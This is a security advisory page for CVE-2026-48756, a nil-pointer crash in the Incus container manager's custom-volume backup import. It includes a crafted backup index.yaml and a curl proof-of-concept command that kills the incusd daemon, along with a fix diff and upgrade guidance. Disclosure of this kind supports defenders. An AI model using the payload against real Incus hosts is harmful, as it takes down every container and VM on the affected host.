CVE-2026-48756: Incus: CreateCustomVolumeFromBackup nil-pointer dereference on volume_snapshots[*].expires_at (sibling-field variant of GHSA-r7w7)

Published Jun 26, 2026
·
Updated

Summary

(backend).CreateCustomVolumeFromBackup in internal/server/storage/backend.go contains an unguarded time.Time dereference on the ExpiresAt field of every volume-snapshot entry in an imported custom-volume backup. An authenticated user with cancreatestoragevolumes permission on any project can crash the incusd daemon by uploading a backup tarball whose volumesnapshots[].expiresat field is absent.

This is a sibling-field variant of GHSA-r7w7-mmxr-47r9 (CVE-2026-40197). Commit 985a1dedf9f3e7ba729c93b654905ed510de25c2 added if s == nil at the top of the loop body, but did not guard the adjacent snapshot.ExpiresAt deref 19 lines later. Every other consumer of Config.VolumeSnapshots[i].ExpiresAt in this same file already gates the deref with a nil-check — the asymmetric guard is the bug.

Vulnerable code

internal/server/storage/backend.go, CreateCustomVolumeFromBackup:

go // Line 7710-7714 — the parent fix from GHSA-r7w7 for , s := range srcBackup.Config.VolumeSnapshots { if s == nil { return errors.New("Bad snapshot definition found in index") } snapshot := s snapName := snapshot.Name // ... // Line 7731 — UNGUARDED time.Time deref: err = VolumeDBCreate(b, srcBackup.Project, fullSnapName, snapshot.Description, snapVol.Type(), true, snapVol.Config(), snapshot.CreatedAt, snapshot.ExpiresAt, // <-- panics when expiresat omitted in YAML snapVol.ContentType(), true, true)

ExpiresAt is declared time.Time (shared/api/storagepoolvolumesnapshot.go:21,88). Every other consumer in the same file already uses the safe pattern:

| Line | Code | Guarded? | |------|------|----------| | 909-910 | CreateInstanceFromBackup | YES | | 1134-1135 | refresh path | YES | | 1422-1423 | migration path | YES | | 7731 | CreateCustomVolumeFromBackup | NO |

Reach

1. Attacker is an authenticated client (TLS cert, OIDC, or unix socket) with the cancreatestoragevolumes entitlement on any project. Same auth gate as parent GHSA-r7w7. 2. POST /1.0/storage-pools/<pool>/volumes/custom with Content-Type: application/octet-stream and X-Incus-name: <name>. 3. Body is a tar containing backup/index.yaml with type: custom, a non-nil volume: block, and volumesnapshots: [{name: snap0}] (no expiresat field). 4. cmd/incusd/storagevolumes.go:storagePoolVolumesPost -> backup.GetInfo parses the yaml -> pool.CreateCustomVolumeFromBackup -> the s == nil guard at 7712 passes (snapshot pointer is non-nil) -> snapshot.ExpiresAt on line 7731 panics on the nil time.Time. 5. No recover() is installed in the operation runner, so the panic kills the entire incusd process. Repeated POSTs are a persistent denial of service.

Minimal backup/index.yaml:

yaml name: poc-vol backend: dir pool: default type: custom optimized: false optimizedheader: false snapshots: [snap0] config: volume: {name: poc-vol, type: custom, contenttype: filesystem, config: {}} volumesnapshots: - name: snap0 description: snap0 config: {} # expiresat intentionally omitted

Proof of concept (end-to-end against running daemon)

Bundled in the report: makebackup.sh + the resulting 479-byte poc-vol.tar.gz.

Tested against incus 7.0.0 (zabbly latest GA at time of report; build 1:0~ubuntu24.04~202605201355) inside a privileged Ubuntu 24.04 container with the default dir storage pool.

bash $ curl -s --unix-socket /var/lib/incus/unix.socket -X POST \ --data-binary @/tmp/poc-vol.tar.gz \ -H 'Content-Type: application/octet-stream' \ -H 'X-Incus-name: poc-vol' \ http://incus/1.0/storage-pools/default/volumes/custom {"type":"async","status":"Operation created","statuscode":100,...}

$ ps -ef | grep incusd | grep -v grep # process is GONE

Daemon panic from /tmp/incus.out:

panic: runtime error: invalid memory address or nil pointer dereference [signal SIGSEGV: segmentation violation code=0x1 addr=0x0 pc=0x162b938]

goroutine 422 [running]: github.com/lxc/incus/v7/internal/server/storage.(backend).CreateCustomVolumeFromBackup(...) /build/incus/internal/server/storage/backend.go:7731 +0xb48 main.createStoragePoolVolumeFromBackup.func7(...) /build/incus/cmd/incusd/storagevolumes.go:2915 +0x290 github.com/lxc/incus/v7/internal/server/operations.(Operation).Start.func1(...) /build/incus/internal/server/operations/operations.go:307 +0x2c created by github.com/lxc/incus/v7/internal/server/operations.(Operation).Start in goroutine 408 /build/incus/internal/server/operations/operations.go:306 +0x168

Stack frame backend.go:7731 is the literal snapshot.ExpiresAt line. Same line in v6.0.x LTS is backend.go:7271 (also panics; v6.0.x additionally lacks the s == nil parent fix so a single nil snapshot pointer also panics there).

Impact

- Severity: denial of service against the entire incusd process. Every container / VM / storage operation on the host (and on the cluster member, if clustered) is aborted; subsequent requests fail until an operator restarts the process. - Privileges required: any authenticated user with cancreatestoragevolumes on any project. Not behind the admin tier. - Network attack surface: the Incus REST API on :8443 or the unix socket. - CWE-476 — Nil-Pointer Dereference. CVSS estimate: 6.5 (AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H).

Suggested fix

Mirror the guard pattern already in use at lines 909-910 / 1134-1135 / 1422-1423:

diff --- a/internal/server/storage/backend.go +++ b/internal/server/storage/backend.go @@ -7728,9 +7728,14 @@ func (b backend) CreateCustomVolumeFromBackup(...) error { snapVol := b.GetVolume(drivers.VolumeTypeCustom, drivers.ContentType(srcBackup.Config.Volume.ContentType), snapVolStorageName, snapshot.Config)

// Validate config and create database entry for new storage volume. // Strip unsupported config keys (in case the export was made from a different type of storage pool). - err = VolumeDBCreate(b, srcBackup.Project, fullSnapName, snapshot.Description, snapVol.Type(), true, snapVol.Config(), snapshot.CreatedAt, snapshot.ExpiresAt, snapVol.ContentType(), true, true) + var snapExpiryDate time.Time + if snapshot.ExpiresAt != nil { + snapExpiryDate = snapshot.ExpiresAt + } + + err = VolumeDBCreate(b, srcBackup.Project, fullSnapName, snapshot.Description, snapVol.Type(), true, snapVol.Config(), snapshot.CreatedAt, snapExpiryDate, snapVol.ContentType(), true, true) if err != nil { return err }

Reporter notes

Reported via Privately-Reported Vulnerability against lxc/incus by tonghuaroot.

Other sources

Incus is a system container and virtual machine manager. Prior to version 7.1.0, (backend).CreateCustomVolumeFromBackup in internal/server/storage/backend.go contains an unguarded time.Time dereference on the ExpiresAt field of every volume-snapshot entry in an imported custom-volume backup. An authenticated user with cancreatestoragevolumes permission on any project can crash the incusd daemon by uploading a backup tarball whose volumesnapshots[].expiresat field is absent. This is a sibling-field variant of GHSA-r7w7-mmxr-47r9 (CVE-2026-40197). Commit 985a1dedf9f3e7ba729c93b654905ed510de25c2 added if s == nil at the top of the loop body, but did not guard the adjacent snapshot.ExpiresAt deref 19 lines later. Every other consumer of Config.VolumeSnapshots[i].ExpiresAt in this same file already gates the deref with a nil-check — the asymmetric guard is the bug. Version 7.1.0 contains an updated patch.

— MITRE

Affected Software

3 affected componentsFixes available
go/github.com/lxc/incus/v7/cmd/incusd<7.1.0
7.1.0
alpine/incus<7.0.1-r0
7.0.1-r0
debian/incus
6.0.4-2+deb13u106.0.4-2+deb13u127.0.2-3

Remediation

Recommended actions to resolve this vulnerability, in priority order.

  1. Upgrade

    Upgrade go/github.com/lxc/incus/v7/cmd/incusd to a version that resolves this vulnerability.

    Fixed in 7.1.0
  2. Upgrade

    Upgrade alpine/incus to a version that resolves this vulnerability.

    Fixed in 7.0.1-r0
  3. Upgrade

    Upgrade debian/incus to a version that resolves this vulnerability.

    Fixed in 6.0.4-2+deb13u10Fixed in 6.0.4-2+deb13u12Fixed in 7.0.2-3
  4. Upgrade

    Upgrade to a fixed release to a version that resolves this vulnerability.

    Fixed in 7.1.0
  5. Compensating control

    Mitigate the denial-of-service by preventing authenticated users from reaching the Incus REST API on :8443 or the unix socket (where the attacker can POST a custom volume backup) unless they have a business need to import custom volume backups with can_create_storage_volumes on any project.

Event History

Jun 26, 2026
Advisory Published
via GitHub·07:07 PM
Data Sourced
via GitHub·07:07 PM
DescriptionWeaknessAffected Software
Aug 21, 2026
CVE Published
via MITRE·02:10 PM
Data Sourced
via MITRE·02:10 PM
DescriptionWeakness
Data Sourced
via NVD·03:16 PM
DescriptionSeverityWeakness
Data Sourced
via OSV·03:16 PM
DescriptionSeverityAffected Software

Parent advisories

This vulnerability appears in the following advisories.

Frequently Asked Questions

1

What is the severity of CVE-2026-48756?

CVE-2026-48756 has a risk rating of 62, indicating a medium severity vulnerability.

2

What type of vulnerability is CVE-2026-48756?

CVE-2026-48756 is classified as a Null Pointer Dereference vulnerability.

3

How does CVE-2026-48756 affect the software?

CVE-2026-48756 can lead to unexpected crashes or behavior due to an unguarded dereference of a nil pointer.

4

What versions of the software are affected by CVE-2026-48756?

CVE-2026-48756 affects versions of the software utilizing the `CreateCustomVolumeFromBackup` function in `internal/server/storage/backend.go`.

5

How do I fix CVE-2026-48756?

To fix CVE-2026-48756, ensure proper nil checks are implemented before dereferencing the `ExpiresAt` field in the code.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203